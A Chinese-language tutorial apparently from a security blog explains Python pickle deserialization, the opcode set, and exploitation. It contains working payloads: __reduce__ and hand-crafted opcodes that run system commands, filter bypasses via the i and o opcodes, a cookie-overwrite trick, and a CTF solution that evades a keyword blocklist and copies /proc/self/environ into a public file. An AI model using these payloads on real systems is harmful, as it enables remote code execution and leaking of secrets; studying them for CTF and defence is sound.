0x01前言
Pickle其实就是python的一个内置库,用来进行序列化和反序列化操作,所以Pickle反序列化就是python反序列化的一种别称而已,当然python里面的反序列化库还有cPickle
(3.x 改名为 _pickle
),这个是用C语言写的,但是一般遇到的python反序列化都是用的前者
0x02Pickle库介绍
原理这些就不扯了,官方文档比我强得多,我们直接看具体的应用代码
import pickle
class Persion():
def __init__(self):
self.name = "yuyulin"
self.age = 18
persion = Persion()
opcode = pickle.dumps(persion)
print("pickle result: ", opcode)
unopcode = pickle.loads(opcode)
print("name:{},age:{}".format(unopcode.name,unopcode.age))
结果:
pickle result: b'\x80\x04\x959\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07Persion\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x07yuyulin\x94\x8c\x03age\x94K\x12ub.'
name:yuyulin,age:18
很明显pickle库的dumps方法就是将一个实例序列化,loads方法就是将序列化的bytes反序列化
学过php反序列化的小伙伴们知道php序列化的结果是一个字符串,而python序列化的结果是bytes,前者不管是可读性还是构造难度都优于后者,这也是为什么会php反序列化的比python反序列化的多很多,java反序列化就更不用说了,会的人更少
扯得差不多了,该步入正题了,想要读懂python序列化之后的结果就要先了解PVM
PVM
PVM全称Pickle Virtual Machine(PVM),PVM的工作大致就是解析Pcikle所发出的opcode(指令集)
PVM由以下三部分组成
- 指令处理器:从流中读取
opcode
和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。 - stack:由 Python 的
list
实现,被用来临时存储数据、参数以及对象。 - memo:由 Python 的
dict
实现,为 PVM 的整个生命周期提供存储。
搬一张别人的图
PVM还有一个协议,有六种不同的版本,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。
这个协议可以改变Pickle序列化的结果的形式,举个例子
import pickle
class Test:
def __init__(self):
self.a = 1
test = Test()
opcode = pickle.dumps(test)
print(opcode)
serialized = pickle.dumps(test, protocol=0) # 指定版本
print(serialized)
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.a)
结果
b'\x80\x04\x95"\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94\x8c\x01a\x94K\x01sb.'
b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.'
1
明显可以看到指定了协议0之后可读性就高了不少
opcode
上面已经说了opcode就是一个指令集,但它是python反序列化的重中之重,个人认为python反序列化最难的地方就在于手搓opcode。
常用的opcode(v0协议)有下面这些
MARK = b'(' # 向栈中压入一个 MARK 标记
STOP = b'.' # 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值
POP = b'0' # 丢弃栈顶对象
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # 实例化一个 float 对象
INT = b'I' # 实例化一个 int 或者 bool 对象
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # 栈中压入 None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # push persistent object; id is taken from stack
REDUCE = b'R' # 从栈上弹出两个对象,第一个对象作为参数(必须为元组),第二个对象作为函数,然后调用该函数并把结果压回栈
STRING = b'S' # 实例化一个字符串对象
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # push string; counted binary string argument < 256 bytes
UNICODE = b'V' # 实例化一个 UNICODE 字符串对象
BINUNICODE = b'X' # push Unicode string; counted UTF-8 string argument
APPEND = b'a' # 将栈的第一个元素 append 到第二个元素(必须为列表)中
BUILD = b'b' # 使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性设置,调用 __setstate__ 或 __dict__.update()
GLOBAL = b'c' # 获取一个全局对象或 import 一个模块(会调用 import 语句,能够引入新的包),压入栈
DICT = b'd' # 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对),弹出组合,弹出 MARK,压回结果
EMPTY_DICT = b'}' # 向栈中直接压入一个空字典
APPENDS = b'e' # 寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中
GET = b'g' # 将 memo[n] 的压入栈
BINGET = b'h' # push item from memo on stack; index is 1-byte arg
INST = b'i' # 相当于 c 和 o 的组合,先获取一个全局函数,然后从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # 从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为列表
EMPTY_LIST = b']' # 向栈中直接压入一个空列表
OBJ = b'o' # 从栈顶开始寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象),弹出 MARK,压回结果,
PUT = b'p' # 将栈顶对象储存至 memo[n]
BINPUT = b'q' # store stack top in memo; index is 1-byte arg
LONG_BINPUT = b'r' # store stack top in memo; index is 4-byte arg
SETITEM = b's' # 将栈的第一个对象作为 value,第二个对象作为 key,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中
TUPLE = b't' # 寻找栈中的上一个 MARK,并组合之间的数据为元组,弹出组合,弹出 MARK,压回结果
EMPTY_TUPLE = b')' # 向栈中直接压入一个空元组
SETITEMS = b'u' # 寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
python还为我们提供了一个pickletools库,他的主要作用是:
- 可读性较强的方式展示一个序列化对象(
pickletools.dis
) - 对一个序列化结果进行优化(
pickletools.optimize
)
就刚才的序列化而言
0: c GLOBAL 'copy_reg _reconstructor'
25: p PUT 0
28: ( MARK
29: c GLOBAL '__main__ Test'
44: p PUT 1
47: c GLOBAL '__builtin__ object'
67: p PUT 2
70: N NONE
71: t TUPLE (MARK at 28)
72: p PUT 3
75: R REDUCE
76: p PUT 4
79: ( MARK
80: d DICT (MARK at 79)
81: p PUT 5
84: V UNICODE 'a'
87: p PUT 6
90: I INT 1
93: s SETITEM
94: b BUILD
95: . STOP
highest protocol among opcodes = 0
0x03漏洞利用
除了我们上面说的手搓opcode,有没有像php那样的序列化方法呢,当然是有的
__reduce__()自动生成
python里面也有很多的魔术方法,但是用于构造反序列化的魔术方法中__reduce__()是用得最多的,但是有一个问题,为什么python的__init__()方法不行呢,我们直接看例子
__init__()
import pickle
import os
class Test:
def __init__(self):
self.a = os.system("whoami")
test = Test()
serialized = pickle.dumps(test)
print("pickle")
pickle.loads(serialized)
__reduce__()
import pickle
import os
class Test:
def __reduce__(self):
return os.system, ("whoami",)
test = Test()
serialized = pickle.dumps(test)
print("pickle")
pickle.loads(serialized)
图一是__init__()方法的结果,图二是__reduce__()的结果,我们很轻易的就判断出,图二才是成功命令执行的结果,而图一是在序列化的时候就执行了命令,根本没达到攻击的目的
命令执行
上面也说过了,手搓的情况比自动化要多一些,给个手搓opcode的例子
import pickle
opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
上面的payload只适用于没有过滤的情况,很多时候都会禁止R指令,当然还可以用其他指令绕过
i指令:
opcode2=b'''(S'whoami'
ios
system
.'''
o指令:
opcode3=b'''(cos
system
S'whoami'
o.'''
谈过滤的话,目前遇到的pickle题目还比较少,等自己更加熟悉之后再开一篇文章
实例化对象
我们手写opcode是可以实例化对象的
import pickle
class Persion():
def __init__(self, name, age):
self.name = name
self.age = age
opcode = b'''c__main__
Persion
(S'yuyulin'
S'18'
tR.
'''
persion = pickle.loads(opcode)
print(persion.name, persion.age)
yuyulin 18
变量覆盖
这里的变量覆盖和php是两码事,php里面是让两个变量共用一个地址,这里是通过opcode重新给变量赋值,一般用于绕过验证
cookie.py
cookies = "this is your cookie"
main.py
import pickle
import cookie
opcode='''c__main__
cookie
(S'cookies'
S'1'
db.'''
print('before:',cookie.cookies)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:',cookie.cookies)
before: this is your cookie
output: <module 'cookie' from 'D:\\Pycharm\\src\\cookie.py'>
after: 1
还有一种自动化构造的方法
import cookie
import pickle
class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.cookies == cookie.cookies:
print("Hello, admin!")
遇到这样的情况我们该怎么办呢,我们看下面的代码
import pickle
import pickletools
class cookie:
cookies = "???"
class Target:
def __init__(self):
self.cookies = cookie.cookies
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
# 结果
# b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVcookies\nV???\nsb.'
从结果我们不难看出这样是不可能绕过的,因为这里的cookies已经被赋值了
这个时候,我们可以利用 c
这个 opcode 来完成攻击。c
其实就是 pickle.Unpickler().find_class(module, name)
。
它的作用是导入 module 模块并返回其中名叫 name
的对象,其中 module 和 name 参数都是 str 对象。文档指出,find_class()
同样可以用来导入函数。
既然如此,我们就可以把攻击目标类中引用的 cookie.cookies
用 c
拿进来:
# 前后对比
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVcookies\nV???\nsb.'
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVcookies\nccookie\ncookies\nsb.'
其实也很好理解,Pickle反序列化的时候遇到ccookie\ncookies
就相当于执行了下面的命令
import cookie
class Target:
def __init__(self):
self.cookies = cookie.cookies
自然而然地就绕过了if条件
0x04例题
恐怖G7人-卷土重来
最近打的一个小比赛才遇到的题目,重点就是绕过一个waf,我们直接看waf
import re
waf_words = {"setstate", "exec", "key", "os", 'system', 'eval', 'popen', 'subprocess', 'command', 'run', 'read', 'output', 'cat', 'ls', 'grep', 'global', 'flag', '\\nR', 'ntimeit'}
def waf(string):
for i in waf_words:
if re.findall(i, str(string), re.I):
print(i)
return False
pattern_unicode = r'\\u[0-9a-fA-F]{4}'
pattern_R1 = r'\\nR'
pattern_R2 = r'\\ntimeit'
m1 = re.findall(pattern_unicode, str(string))
m2 = re.findall(pattern_R1, str(string))
m3 = re.findall(pattern_R2, str(string))
if any([m1, m2, m3]):
print(m1, m2, m3)
return False
return True
ban了很多执行命令的函数,开始的第一思路是用其他指令重写,关键词用逆序或者拼接的方法绕过,但是因为不会手搓opcode也就不了了之,接下来看看官方的wp
构造pickle链
思路就是用base64绕过对关键词的检测,然后手写opcode
还有另一种思路
虽然ban掉了很多,但是pty和spawn都能用,可以直接把环境变量cp进文件里然后再访问
import pickle
import base64
class Payload(object):
def __reduce__(self):
return (__import__("pty").spawn,(["cp","/proc/self/environ","/static/img/1.txt"],),)
a = Payload()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))
只不过这个poc只能在linux上运行,windows下跑不了
0x04参考
https://xz.aliyun.com/t/7436#toc-13